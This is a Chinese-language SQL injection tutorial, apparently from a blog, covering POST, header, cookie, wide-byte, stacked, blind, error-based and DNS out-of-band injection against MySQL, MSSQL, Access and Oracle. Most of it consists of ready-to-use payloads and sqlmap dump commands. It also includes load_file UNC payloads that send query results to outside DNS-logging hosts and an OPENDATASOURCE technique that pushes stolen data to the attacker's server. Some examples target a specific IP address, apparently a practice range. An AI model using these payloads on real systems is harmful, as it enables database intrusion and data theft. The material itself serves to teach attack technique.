本文会介绍POST注入、Head注入、报错注入、盲注、cookie注入、宽字节注入、堆叠注入、偏移注入、DNS注入、Access、Mssql、Oracle注入原理和手法。
联合注入:https://blog.csdn.net/xlsj228/article/details/105841168
按变量类型分:数字型和字符型
按HTTP提交方式分:POST注入、GET注入和Cookie注入
按注入方式分:布尔注入、联合注入、堆叠注入、报错注入、时间盲注
按数据库类型分:
sql:oracle、mysql、mssql、access、sqlite、postgersql
nosql:mongodb、redis
在HTTP常用方法中,POST方法提交的信息不存储在URL中,而是存储在HTTP实体内容中,在大多的提交过程,用户是无感知的。
post注入常存在于表单中,如我们在登录框输入数据:
然后用Burpsuit抓包看到提交方式为POST和我们输入的数据在HTTP实体中。
注入手法和联合一样:
使用SQLmap注入post类型方法如下:
基础知识:
PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。这些超全局变量是:
$_SERVER功能强大。常用的:
$_SERVER['HTTP_REFERER]获取Referer请求头数据
$_SERVER["HTTP_USER_AGENT"]获取用户相关信息,包括用户浏览器、操作系统等信息。s_SERVER["REMOTE_ADDR""]浏览网页的用户ip。
本案例源码可看出,登录成功后使用插入语句将你的head信息插入到数据库中(插入语句不会回显,使用报错或盲注)。
我们用正确的用户名密码登录,然后抓包修改refer:
可以看到修改后的效果如下:
可以将sleep(10)改成其他的查询语句,如
' or updatexml(1,concat ( ' ! ' , (select table_name from information_schema .tables where table_schema=database () limit 0,1) ) ,1),1) -- awd
补充一下如何判断插入的字段数:
假设只有一个字段,只闭合
假设有两个字段,闭合后,并添加一个字段,
假设有3个字段,闭合后,并添加两个字段,
还有XFF,Cookie等。这里介绍XFF注入。我们发现网站会获取我们的IP。
利用插件设置XFF头,如果网站不报错,可尝试此注入
X-Forward-For:127.0.0.1' and 1=2 -- awd
使用sqlmap时:先抓包,然后在refer(或UA)后面加上“*”,再跑。
MySQL 报错注入主要分为以下几类:
1. BigInt 等数据类型溢出;
2. Xpath 语法错误;
3. count() + rand() + group_by() 导致重复;
4. 空间数据类型函数错误。
很多函数会导致 MySQL 报错并显示出数据:
1. floor 函数;
2. extractvalue 函数;(最多32字符)
3. updatexml 函数;
4. exp() 函数;
介绍一个由函数参数格式错误引发的报错注入:
updatexml()更新xml文档的函数
语法: updatexml(目标xml内容,xml文档路径,更新的内容)
select updatexml(1,concat(‘!’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),1),1)
length() 函数返回字符串的长度;
substr() 截取字符串(语法:SUBSTR(str,pos,len),还有mid()函数;
ascii() 返回字符的ascii码[将字符变为数字];
sleep(n) 将程序挂起一段时间,n为n秒;
if(expr1,expr2,expr3) 判断语句如果第一个语句正确,就执行第二个语句;如果错误,执行第三个语句;
布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。其流程如下:
1)判断数据库长度:and length(database()) >10
2)猜解库名:and ascii(substr(database(),1,1)) > 97
可以使用Burpsuit的intruder模块跑包
3)继续猜解其他字段名
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 slecet必须先加括号用子查询,然后截取字符串比较
猜数据库长度(利用二分法)
id=1 and (length(database()))>50
id=1 and (length(database()))>25
猜第一个字符,第二个字符,以此类推
and ascii(mid(database(),1,1))>32
and ascii(mid(database(),2,1))>1
查询第一个表的长度
and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10
查询当前数据库中所有表名
and (select count(table_name)from information_schema.tables where tables_schema=database())>1
and (select count(table_name)from information_schema.tables where tables_schema=database())>10
查询表的第一个字符
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1
查询atelier表里有几个字段
and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2
查询第一个字段长度
and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1
查询字段第一个字符
and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105
查询字段所有行数
and (select count(*) from db83231_asfaa.atelier)>4
查询字段名的行数(查询emails表,uname字段)
and (select count(uname)from security.emails)>7 查询uname的行数
查询字段内容
length((select username from security.users limit 0,1))>10
ascii(mid((select username from security.user limit 0,1),1,1))>100
界面返回值只有一种, true无论输入任何值返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
1)判断注入点
and 1=1 and 1=2没有变化
and sleep(5) 有变化
and if(1=1,sleep(5),sleep(1))
2)进行盲注
and if(length(database()) >10,sleep(5),1)
与布尔盲注使用的函数一样
3)可以使用SQLmap工具代替手工
Php < 5.4 有一个魔术开关,magic_quotes_gpc(魔术引号开关);高版本php使用其他效果相同的函数,addslashes()函数,
产生的效果是让单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线,那我们输入的东西如果不能闭合掉单引号和双引号,自然不会当作代码执行。
绕过方法:
数字型注入时无需闭合引号,在查表名时用16进制(0x_ _)表示其中的单引号
字符串型时:
{宽字节} 方法:加%df,%aa,%81,汉字 原理:汉字必须用双字符实现,所以使用GBK编码或非英文编码,将/(%2f)拼接成汉字。(注意可能出现自己传的值会先被搜索栏URL编码)
{明白作用域} 方法:head注入 原理:因为魔术函数只影响POST,GET,COOKIE注入
宽字节注入原理:
使用宽字节注入时有条件:mysql使用GBK编码,
用户提交: http://127.0.0.1/?id=1%df' or 1=1
('
浏览器自动进行url编码%27
)
发生如下转换: %df%27
====>(check_addslashes)====>%df%5c%27
====>(GBK)====>運'
MySQL执行的语句为:$sql="SELECT * FROM users WHERE id='1運' or 1=1 ";
成功将单引号闭合,可以进行SQL注入。
宽字节注入:
%df ' and 1=1 -- awd
%df ' and 1=2 -- awd
POST型宽字节注入
POST传参会进行一次编码、后端会进行一次解码 : %df ->%25df (%URL编码是%25)-> %df =>此时数据库会认为是字符串的%df。(GET型传参,先看符不符合URL统一编码,符合时就不插手,而post会强行编码。)
绕过方法是先正常输入:
然后burpsuit抓包,
找到我们的单引号,%27,直接加%df
成功执行我们构造的语句
使用SQLmap时,要辅助以下:sqlmap -u"xxx?id=1%df '";若抓数据包跑,仍然要加上闭合%df
php中的$_REQUEST可以获取POST|GET|COOKIE传参,且优先级为Cookie>POST>GET。
注: php 5.4以上版本就不会接受Cookie传参了。
设置cookie方式:
什么网站存在cookie注入:
1、ASP的站点存在可能性极高
2、PHP版本低于5.4的版本可能性极高
1) 判断注入点:
将源URL的id=171删掉,添加一个cookie设置id=171,发现修改cookie里的id值影响页面访问。
2) 查询数据
(cookie注入最好进行一次URL编码)
3) sqlmap跑
抓包加id=414* 或者 sqlmap -u "www.asp" --cookie "id=414" --level 2
在 MySQL 命令行中, 每一条语句结尾加“; ”表示语句结束。在 ; 结束一个SQL语句后继续构造下一条语句,使多条语句顺序执行,这就是堆叠注入。
union或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行任意的语句。
判断堆叠注入存在方法: id =1 ; sleep(10) 通过加“ ; ”,后面的SQL语句可以执行,则存在该漏洞。
只知道表名,可以使用移位溢注
1)判断字段数
判断admin字段数,使用尝试法,
select 1,2,3,4,5,6,7,8,9,10,11,12,13,admin.* from admin
select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin
select 1,2,3,4,5,6,7,8,9,10,11,admin.* from admin
逐一尝试,直至正常,则判断出admin字段数,若一直不正常,则说明需要换其他的注入页面尝试。
2)爆出字段内容
select 1,2,3,4,5,6,7,admin .*,8,9,10,11 from admin
本质:
select 1,2,34,5,6,7,id,username,password,token,8,9,10,11 from admin
DNS注入,也可以看作一种带外通道技术。利用DNS泛域名解析特性来使一种盲注返回信息。
NDS泛域名解析特性是指利用通配符的方式将所有的次级域名指向同一 IP。注册域名并配置域名解析的时候,在 DNS 服务器中配置了下面的记录。(*.example.com :IP)
那么无论访问abc.example.com,还是10086.example.com都会在你的服务器日志上显示出来。那么可以将查询数据库返回的信息作为一级域名拼接到.example.com上,访问这个域名,则通过查看日志,就知道返回的信息是什么了。
介绍几个辅助信息:
1)load_file(file_path) 是 MySQL 中一个读取文件内容的函数,该函数会读取文件内容,并将文件内容作为字符串返回。如果读取失败会返回 NULL。
该函数遵循 secure_file_priv 的限制,secure_file_priv 变量的值为 /var/lib/mysql-files,因此load_file()函数只能够读取该目录下的文件的内容。如果想要完成任意目录下文件读取需要在 /etc/my.conf(my.ini) 中将 secure_file_priv 的值置为空。
2)UNC 路径 \\servername\sharename ( Windows 系统中)(//servername/sharename[强烈建议这样写])
3)查询数据信息
and (select load_file(concat('//',database(),'.3e.dnslog.cn/abc'))) 或 and (select load_file(concat("\\\\",(select database()), ".7as54b.ceye.io\\abc")))
database()位置换成其他查询语句,注意返回字符串: and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),".7as54b.ceye.io\\abc")) -- awd
常见的数据库Mysql,Mssql,Access,Oracle
常见数据库搭配方式:
具体判断要根据数据库各自特征:
1)连接符判断:
:id=1 and 'a'+'b'='ab' --
id=1 and 'a'+'b'='ab'
id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b')
id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b')
2)特殊符号,注释的判断
3)对Mssql和access数据库的判断:
没有库,只是表的集合,只需查询表和字段。
1)猜解表名
使用and exists (select * from 表名)爆破表名,原理是有数据的表正常返回
2) 查询字段数
order by n
3 )查询输出位
and select 1,2,3 from 表名
4 )猜解字段名
and select 1,id,3 from 表名 (猜解尝试不同字段名)
5) sqlmap跑
Sqlmap -u "" –tables 猜测表名
Sqlmap -u "" --columns -T 指定表名
sqlmap -u "" -T admin -C username --dump
6)偏移注入
特点:sysobjects 系统自带表
获取用户创建的表名 :select * from sysobjects where xtype='U'
获取字段名:select * from syscolumns where id = 123 (每一个表都有对应的ID)
判断字段数 id=1’order by 1 – qwe
判断输出点 id=1’union all select null,null,null -- qwe
id=1’and 1=2 union all select 1,null,null – qwe
逐一尝试法,每个位置填入数字或字符(1或‘1’)进行测试,看页面返回那个输出点。(mssql的union只需要前后两语句的字段数相同,类型可以不同)
查询表名 id=1’and 1=2 union all select null,null,* from sysobjects where xtype='U'-- qwe
目标数据库是A,你在公网服务器上建立了一个B数据,将A得到的数据插入到B数据库里面。
条件是SQL server数据库,堆叠主人如存在,目标数据库所在服务器能联网。
OPENDATASOURCE(provider_name,init_string)函数
provider_name:注册为用于访问数据源的OLEDB提供程序的PROGID的名称
init_string:连接字符串,连接地址、端口、用户名、密码、数据库名
server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称
堆叠加反弹:id =1 ; insert into opendatasource()
Dual是一个虚表,直接查询他会回显一个x,可以当作万用表,补充语法结构。
Oracle是用户、表、字段、数据
select * from all_tables 查询出所有的表
select * from user_tables 查询出当前用户的表
select*from all_tab_columns 查询出所有的字段
select*from user_tab_columns 查询出当前用户的字段
select*from v$version 查版本
rownum=1 (限制查询返回的总行数为一条) (若要取出2条数据,要写rownum<3 而不是=2)
union select null,null,null,null from dual
测试发现第一个字段是数字型,非输出位
测试发现第4个是数字型输出位
3.1)查询版本
lD=1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))—qwe
Oracle报错注入一次只能取出一条数据,若要获取第二条使用如下语法: <>不等于’NEWS’就会出现第二条信息,然后再不等于ADMIN,出现第三条
3.2)查询表名
http: //59.63.200.79:8808/?id=1 and id=ctxsys.drithsx.sn(1 , (select table_name from user_tables where rownum=1) )--
3.3)查询字段名
http : //59.63.200.79:8808 /?id=1 and id=ctxsys.drithsx.sn (1 , (select column_name from user_tab_columns where rownum=1 and table name='ADMIN'))--.
我们发现第二个字段既不是数字型也不是字符串型,说明是Oracle自己特殊的类型:nvarchar2
使用转换函数,可以回显数据:
id=1 and 1=2 union select 1,to nchar(table_name) ,null,321 from user tables